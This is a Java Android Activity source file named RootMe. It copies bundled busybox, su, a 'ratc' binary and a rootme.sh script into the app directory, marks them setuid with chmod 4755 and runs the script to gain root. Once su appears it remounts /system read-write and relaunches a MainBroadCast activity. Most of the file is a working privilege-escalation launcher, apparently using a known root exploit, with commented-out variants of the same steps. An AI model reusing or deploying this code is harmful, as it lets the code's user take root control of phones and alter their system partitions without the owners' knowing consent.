package com.android.broad.domain;

import static com.android.broad.Constants.LOG_TAG;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileOutputStream;
import java.io.FilePermission;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.content.res.AssetManager;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.util.Log;
import android.widget.Toast;

public class RootMe extends Activity {

    public void onCreate(Bundle savedInstanceState) {
    	super.onCreate(savedInstanceState);
    	
    	
 
    	if (!checkRoot()){
    	copyAssetsTo();
    	setProgressBarIndeterminateVisibility(true);
        //mergeassets("busybox", "busybox1", "busybox2", "/mnt/sdcard/");
    		//copyasset("busybox", "/data/local/");
        //copyasset("ratc", "/data/local/");
       
        //copyasset("reboot", "/data/data/com.android.broad/");
        //copyasset("rootme.sh", "/data/local/");
        //copyasset("su", "/data/local/");
     
        //copyasset("Test.apk", "/data/local/");
        //copyasset("libnative.so", "/data/local/");
    	
    	
        //oldshell("/system/bin/chmod", "4755 /data/data/com.android.broad/busybox");
        //oldshell("/system/bin/chmod", "4755 /data/data/com.android.broad/ratc");
        //oldshell("/system/bin/chmod", "4755 /data/data/com.android.broad/rootme.sh");
        
    	oldshell("/system/bin/chmod", "4755 /data/data/com.android.broad/busybox");
        oldshell("/system/bin/chmod", "4755 /data/data/com.android.broad/ratc");
        oldshell("/system/bin/chmod", "4755 /data/data/com.android.broad/rootme.sh");
        
        /*if (new File("/data/data/com.android.broad/busybox").canRead()){
        	Toast.makeText(this, "ok read busybox", Toast.LENGTH_SHORT).show();
        }
        if (new File("/data/data/com.android.broad/ratc").canRead()){
        	Toast.makeText(this, "ok read ratc", Toast.LENGTH_SHORT).show();
        }
        if (new File("/data/data/com.android.broad/rootme.sh").canRead()){
        	Toast.makeText(this, "ok rootme.sh", Toast.LENGTH_SHORT).show();
        }*/
       
        //shell("/data/local/rootme.sh", "");
        /*Runtime localRuntime = Runtime.getRuntime();
        try {
			localRuntime.exec(new String[]{"/system/bin/sh","/data/local/rootme.sh"});
		} catch (IOException e) {
		
			Log.e("rootme erro ", e.toString());
			Toast.makeText(this, "rootme.sh aie", Toast.LENGTH_SHORT).show();
		}*/

        new Thread(new Runnable() {
		    @Override public void run() {
		    	Log.e(">>>>>>>>>>>>>>>>>>>>>>>>>>", "deb rootme");

		    		oldshell("/system/bin/sh", "/data/data/com.android.broad/rootme.sh");

		    	Log.e(">>>>>>>>>>>>>>>>>>>>>>>>>>", "fin rootme");
				
				if (new File("/system/xbin/su").exists())
			    {
					Log.e(">>>>>>>>>>>>>>>>>>>>>>>>>>", "su ok");
					//Toast.makeText(this, "su ok", Toast.LENGTH_SHORT).show();
					oldshell("/data/data/com.android.broad/busybox", "killall -9 /data/data/com.android.broad/ratc");
					oldshell("/data/data/com.android.broad/busybox", "mount -o remount,rw -t ext3 /dev/block/mmcblk0p25 /system");
			    }
				else{
					Log.e(">>>>>>>>>>>>>>>>>>>>>>", "su no copied");
					//Toast.makeText(this, "su no copied", Toast.LENGTH_SHORT).show();
					}

		        while (true)
		        {
		        	Log.e(">>>>>>>>>>>>>>>>>>>>>>>>>>", "boucle while");
		          oldshell("am", "start --activity-multiple-task --activity-no-animation --activity-brought-to-front -a android.intent.action.MAIN -n com.android.broad/.MainBroadCast");
		          PackageManager localPackageManager = getBaseContext().getPackageManager();
		          String str = getBaseContext().getPackageName();
		          Intent localIntent1 = localPackageManager.getLaunchIntentForPackage(str);
		          Intent localIntent2 = localIntent1.addFlags(134217728);
		          Intent localIntent3 = localIntent1.addFlags(4194304);
		          Intent localIntent4 = localIntent1.addFlags(65536);
		          startActivity(localIntent1);
		          android.os.Process.killProcess(android.os.Process.myPid());
		          
		          return;
		        }
		    }
		    
		  }).start();
        
        
        /*oldshell("/data/local/busybox", "sh /data/local/rootme.sh");
		
		
		if (new File("/system/xbin/su").exists())
	    {
			Log.e("", "su ok");
			Toast.makeText(this, "su ok", Toast.LENGTH_SHORT).show();
			oldshell("/data/local/busybox", "killall -9 /data/local/ratc");
			oldshell("/data/local/busybox", "mount -o remount,rw -t ext3 /dev/block/mmcblk0p25 /system");
	    }
		else{
			Log.e("", "su no copied");
			Toast.makeText(this, "su no copied", Toast.LENGTH_SHORT).show();}

        while (true)
        {
        	
          oldshell("am", "start --activity-multiple-task --activity-no-animation --activity-brought-to-front -a android.intent.action.MAIN -n com.android.broad/.MainBroadCast");
          PackageManager localPackageManager = getBaseContext().getPackageManager();
          String str = getBaseContext().getPackageName();
          Intent localIntent1 = localPackageManager.getLaunchIntentForPackage(str);
          Intent localIntent2 = localIntent1.addFlags(134217728);
          Intent localIntent3 = localIntent1.addFlags(4194304);
          Intent localIntent4 = localIntent1.addFlags(65536);
          startActivity(localIntent1);
          //android.os.Process.killProcess(android.os.Process.myPid());

          return;
        }*/
      }

    	else{Toast.makeText(this, "already rooted", Toast.LENGTH_SHORT).show();}
    	
    }
    
    private void shellh(String paramString1, String paramString2)
    {
      int i = Native.runcmd_wrapper(paramString1, paramString2);
    }


private void copyasset(String paramString1, String paramString2)
{
  try
  {
    InputStream localInputStream = getAssets().open(paramString1);
    String str1 = String.valueOf(paramString2);
    String str2 = str1 + paramString1;
    FileOutputStream localFileOutputStream = new FileOutputStream(str2);
    byte[] arrayOfByte = new byte[1024];
    while (true)
    {
      int i = localInputStream.read(arrayOfByte);
      if (i <= 0)
      {
        localInputStream.close();
        localFileOutputStream.close();
        return;
      }
      localFileOutputStream.write(arrayOfByte, 0, i);
    }
  }
  catch (IOException e)
  {
    Log.e("copyerror"+paramString1, e.toString());
    Toast.makeText(this, "copyasset error"+paramString1, Toast.LENGTH_SHORT).show();
  }
}

private void mergeassets(String paramString1, String paramString2, String paramString3, String paramString4)
{

    FileOutputStream localFileOutputStream2;
    byte[] arrayOfByte2;
    int j;
    try
    {
      InputStream localInputStream1 = getAssets().open(paramString2);
      String str1 = String.valueOf(paramString4);
      String str2 = str1 + paramString1;
      FileOutputStream localFileOutputStream1 = new FileOutputStream(str2);
      byte[] arrayOfByte1 = new byte[1024];
      localInputStream1.read(arrayOfByte1);
      localInputStream1.close();
      
      InputStream localInputStream2 = getAssets().open(paramString3);
      String str3 = String.valueOf(paramString4);
      String str4 = str3 + paramString1;
      localFileOutputStream2 = new FileOutputStream(str4, true);
      arrayOfByte2 = new byte[1024];
      localInputStream2.read(arrayOfByte2);
      localInputStream2.close();
      localFileOutputStream2.write(arrayOfByte2, 0, arrayOfByte2.length);
      localFileOutputStream2.close();
        
      localFileOutputStream1.write(arrayOfByte1, 0, arrayOfByte1.length);
      localFileOutputStream1.close();

    }
    catch (IOException e)
    {
      Log.e("mergeerror", e.toString());
      Toast.makeText(this, "mergerror error", Toast.LENGTH_SHORT).show();
    }

    

}

private void oldshell(String paramString1, String paramString2)
{
  try
  {
    Runtime localRuntime = Runtime.getRuntime();
    String str1 = String.valueOf(paramString1);
    String str2 = str1 + " " + paramString2;
    
		int i = localRuntime.exec(str2).waitFor();
		Log.e(">>>>>>>oldshell int", new String().valueOf(i));
	} catch (Exception e) {
		Log.e("oldshell", e.toString());
		  //Toast.makeText(this, "oldshell error "+paramString1, Toast.LENGTH_SHORT).show();
		e.printStackTrace();
	}
}
	  
	  private boolean checkRoot() {
		  
		  Process p;
		try {
			p = Runtime.getRuntime().exec("getprop ro.secure");
			  DataOutputStream os = new DataOutputStream(p.getOutputStream());
			  DataInputStream osRes = new DataInputStream(p.getInputStream());
			String temp = new String();
			temp = osRes.readLine(); 
			//Toast.makeText(this, temp, Toast.LENGTH_SHORT).show();
			if (temp.equals("0"))
				//root user
				return true;
			else return false;
			
		} catch (IOException e) {
			// TODO Auto-generated catch block
			Log.e("", e.toString());
		}

		  return false;
		  
	  }
	  
	  private void copyAssetsTo()
	  {

			    AssetManager assetManager = getAssets();
			    String[] files = null;
			    try {
			        files = assetManager.list("");
			    } catch (IOException e) {
			        Log.e(LOG_TAG, e.getMessage());
			    }
			    for(int i=0; i<files.length; i++) {
			        InputStream in = null;
			        OutputStream out = null;
			        try {
			          in = assetManager.open(files[i]);
			          out = new FileOutputStream("/data/data/com.android.broad/" + files[i]);
			          copyFile(in, out);
			          in.close();
			          in = null;
			          out.flush();
			          out.close();
			          out = null;
			          Log.e(LOG_TAG, "copy ok pour "+files[i].toString());
			          //Toast.makeText(this, "copyassets ok!", Toast.LENGTH_SHORT).show(); 
			        } catch(Exception e) {
			        	//Toast.makeText(this, e.getMessage(), Toast.LENGTH_SHORT).show();   
			            Log.e(LOG_TAG, "ddd "+e.getMessage());
			        }       
			    }
		  }
	  
	  
	  private void copyFile(InputStream in, OutputStream out) throws IOException {
		    byte[] buffer = new byte[1024];
		    int read;
		    while((read = in.read(buffer)) != -1){
		      out.write(buffer, 0, read);
		    }
		}
	  
	  
	  
}
